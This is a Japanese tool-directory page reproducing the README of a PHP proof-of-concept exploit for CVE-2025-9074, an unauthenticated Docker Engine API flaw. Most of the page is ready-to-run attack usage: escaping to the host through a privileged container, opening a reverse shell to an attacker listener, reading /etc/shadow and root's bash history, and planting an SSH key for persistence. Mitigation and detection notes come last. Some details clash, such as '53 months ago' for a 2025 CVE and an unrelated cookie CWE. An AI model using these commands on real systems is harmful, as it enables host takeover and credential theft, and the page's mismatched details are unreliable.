Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-9074 — PHP PoC、CVE-2025-9074のエクスプロイト | Kitploit
ツール/GitHubGitHub/c0gnit00/cve-2025-9074
特権昇格ペイロード生成脆弱性分析エクスプロイト横移動ポストエクスプロイトペネトレーションテストクラウドセキュリティコマンド&コントロールリモートアクセスツールコンテナエスケープ
53ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
GitHub
c0gnit00/cve-2025-9074

CVE-2025-9074

PHP PoC、CVE-2025-9074のエクスプロイト

リポジトリを見る

CVE-2025-9074: Docker Engine API の認証なし RCE

重要度: CRITICAL | CVSS スコア: 9.8 (推定) | 影響を受けるバージョン: Docker Desktop < 4.44.3

CVE-2025-9074 の概念実証エクスプロイトです。これは Docker Engine API における認証なしのリモートコード実行 (RCE) 脆弱性であり、特権コンテナのエスケープとホストシステムの侵害を可能にします。

🔴 脆弱性の概要

CVE-2025-9074 は Docker Desktop の深刻な脆弱性であり、適切な認証やネットワーク分離なしに Docker Engine API を露出させます。これにより、リモートの攻撃者が以下のことを行えます:

  • 昇格した特権で任意のコマンドを実行する
  • コンテナの分離をエスケープし、ホストファイルシステムにアクセスする
  • 攻撃者の管理するシステムへのリバースシェル接続を確立する
  • コンテナホスト全体および基盤となるホスト OS を侵害する

攻撃ベクトル

  • ネットワーク露出: Docker API がネットワークインターフェース上に露出 (通常はポート 2375/TCP)
  • 認証なし: API は認証なしでリクエストを受け付ける
  • 特権コンテナ: ホストファイルシステムにアクセス可能な特権コンテナを作成できる
  • バインドマウント: バインドマウントパスを介したホストファイルシステムへの直接アクセス

📋 必要条件

  • PHP CLI (7.0+)
  • PHP で有効化された curl 拡張機能
  • 露出した Docker API エンドポイントへのネットワーク接続
  • Docker Desktop < 4.44.3 (脆弱なバージョン)

ターゲットのシステム要件

この脆弱性は以下に影響します:

  • Docker Desktop for Windows < 4.44.3
  • Docker Desktop for Mac < 4.44.3
  • Docker Engine (TLS なしで露出した場合)

🚀 クイックスタート

インストール

root@kitploit:~
git clone https://github.com/yourusername/CVE-2025-9074.git
cd CVE-2025-9074

基本的な使い方

Docker ホスト上で単一のコマンドを実行します:

root@kitploit:~
php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami"

リバースシェル

インタラクティブなリバースシェルを確立します:

root@kitploit:~
# Terminal 1: Start listener
nc -lvnp 4444

# Terminal 2: Run exploit
php poc.php -u http://192.168.65.7:2375 -m reverse -l 10.10.14.36 -p 4444

📖 使い方ガイド

コマンド構文

root@kitploit:~
php poc.php -u <url> [options]

オプション

モード: コマンド実行

ターゲット上で単一のコマンドを実行します:

root@kitploit:~
# Simple command
php poc.php -u http://192.168.65.7:2375 -m cmd -c "id"

# Read files from host
php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/flag.txt" --cleanup

# With cleanup
php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami" --cleanup

モード: リバースシェル

コールバック付きのインタラクティブシェルを起動します:

root@kitploit:~
php poc.php -u http://192.168.65.7:2375 -m reverse -l 192.168.1.100 -p 4444

OS 別の例

Linux ターゲット

root@kitploit:~
php poc.php -u http://target:2375 -m cmd -c "cat /mnt/hostfs/etc/shadow" --os linux

Windows ターゲット

root@kitploit:~
php poc.php -u http://target:2375 -m cmd -c "dir C:\" --os windows

macOS ターゲット

root@kitploit:~
php poc.php -u http://target:2375 -m cmd -c "ls -la /mnt/hostfs/Users/" --os mac

🎯 現実世界の悪用シナリオ

1. 偵察

root@kitploit:~
# Enumerate host system
php poc.php -u http://192.168.65.7:2375 -m cmd -c "uname -a"
php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami"

2. 認証情報の収集

root@kitploit:~
# Extract sensitive files
php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/root/.bash_history"
php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/etc/passwd"

3. 永続化

root@kitploit:~
# Add SSH key
php poc.php -u http://192.168.65.7:2375 -m cmd -c "mkdir -p /mnt/hostfs/root/.ssh && echo 'SSH_KEY' >> /mnt/hostfs/root/.ssh/authorized_keys"

4. 横展開

root@kitploit:~
# Enumerate running containers and networks
php poc.php -u http://192.168.65.7:2375 -m cmd -c "docker ps --all"

🔍 技術的詳細

脆弱性の仕組み

  1. 露出した Docker ソケット/API: Docker API が認証なしで 0.0.0.0:2375 でリスニング
  2. 特権コンテナの作成: POC は /containers/create 経由で特権コンテナを作成
  3. ホストファイルシステムのバインド: コンテナはバインドマウントを使用してホストファイルシステムにアクセス:
    • Linux: /:/mnt/hostfs
    • macOS: /:/mnt/hostfs
    • Windows: /mnt/host/c:/mnt/hostfs
  4. コマンド実行: コンテナ内で root/SYSTEM 権限でコマンドを実行
  5. ホストファイルシステムアクセス: /mnt/hostfs パスへの直接の読み書きアクセス

ペイロードフロー

root@kitploit:~
┌─────────────────────────────────────────────────────┐
│ poc.php (Your Machine)                               │
└────────────┬────────────────────────────────────────┘
             │ HTTP REST API Call
             ▼
┌─────────────────────────────────────────────────────┐
│ Docker API (Target Port 2375) [UNAUTHENTICATED]     │
└────────────┬────────────────────────────────────────┘
             │ Creates Container
             ▼
┌─────────────────────────────────────────────────────┐
│ Privileged Alpine Container                          │
│ ├─ Full Root Access                                 │
│ ├─ Bind Mount: /:/mnt/hostfs                       │
│ └─ Executes Attacker Command                        │
└────────────┬────────────────────────────────────────┘
             │ Command Output
             ▼
┌─────────────────────────────────────────────────────┐
│ Output Returned to Attacker                          │
└─────────────────────────────────────────────────────┘

コード分析

  • Docker API とのやり取り: HTTP/1.1 REST API 通信に cURL を使用
  • Docker ログのデマルチプレクシング: Docker の多重化ストリーム形式を適切に処理
  • クロスプラットフォーム対応: Windows/Mac/Linux 用にバインドマウントパスを適応
  • タイムアウト処理: 長時間実行コマンド向けの 60 秒タイムアウト

🛡️ 緩和策

即時対応

  1. Docker Desktop のアップグレード

    root@kitploit:~
    # Update to version 4.44.3 or later
    
  2. ネットワークの分離

    • Docker API ポート (2375) を localhost のみに制限する
    • ファイアウォールルールを使用して外部アクセスをブロックする
    • Docker API ソケットの露出を無効にする
  3. TLS 認証の有効化

    root@kitploit:~
    # Configure Docker daemon with TLS certificates
    # In daemon.json:
    {
      "tlsverify": true,
      "tlscacert": "/etc/docker/ca.pem",
      "tlscert": "/etc/docker/server-cert.pem",
      "tlskey": "/etc/docker/server-key.pem"
    }
    
  4. ネットワークのセグメント化

    • 分離されたネットワーク上で Docker Desktop を実行する
    • ゼロトラストネットワークアクセスを実装する
    • リモートアクセスには VPN を使用する

Docker Desktop の設定

  • Windows/Mac: "Expose daemon on tcp://localhost:2375" を無効にする
  • ローカルアクセスには Unix ソケット (/var/run/docker.sock) のみを使用する
  • 認証情報を使用した Docker Context 経由で認証を実装する

📊 検出

ネットワーク検出

root@kitploit:~
# Scan for exposed Docker APIs
nmap -p 2375,2376 -sV target_network

# Check if port responds to Docker API
curl -s http://target:2375/version

ログ検出

  • Docker デーモンのログで異常な API 呼び出しを監視する
  • 特権コンテナの作成時にアラートを出す
  • バインドマウントの使用パターンを追跡する

⚠️ 免責事項

このツールは、許可されたセキュリティテストおよび教育目的でのみ提供されます。

  • この POC は、あなたが所有するシステム、またはテストする明示的な許可があるシステムでのみ使用してください
  • コンピュータシステムへの不正アクセスは違法です
  • ユーザーは自身の行動に対して全責任を負います
  • この POC は許可されたペネトレーションテストおよび脆弱性研究を対象としています

📝 参照

  • Docker Engine セキュリティ
  • Docker API ドキュメント
  • CVE-2025-9074 詳細
  • CWE-784: 適切な検証なしのクッキーへの依存

🤝 貢献

貢献を歓迎します!お気軽に issue やプルリクエストを送信してください。

📄 ライセンス

このプロジェクトは MIT ライセンスの下でライセンスされています - 詳細は LICENSE ファイルを参照してください。

👤 著者

セキュリティ研究者 | ペネトレーションテスター


最終更新: 2025年5月 | ステータス: 研究中

ツールをダウンロード
オプション短縮形必須説明
--url-u✅ はいDocker API URL (例: http://1.2.3.4:2375)
--mode-m❌ いいえ実行モード: cmd または reverse (デフォルト: cmd)
--cmd-c⚠️ コマンドモードの場合ターゲット上で実行するコマンド
--lhost-l⚠️ リバースモードの場合コールバック用のあなたの IP アドレス
--lport-p❌ いいえあなたのリスニングポート (デフォルト: 4444)
--os—❌ いいえターゲット OS: linux, mac, windows (デフォルト: linux)
--cleanup—❌ いいえ実行後にコンテナを削除する
--help-h❌ いいえヘルプメッセージを表示する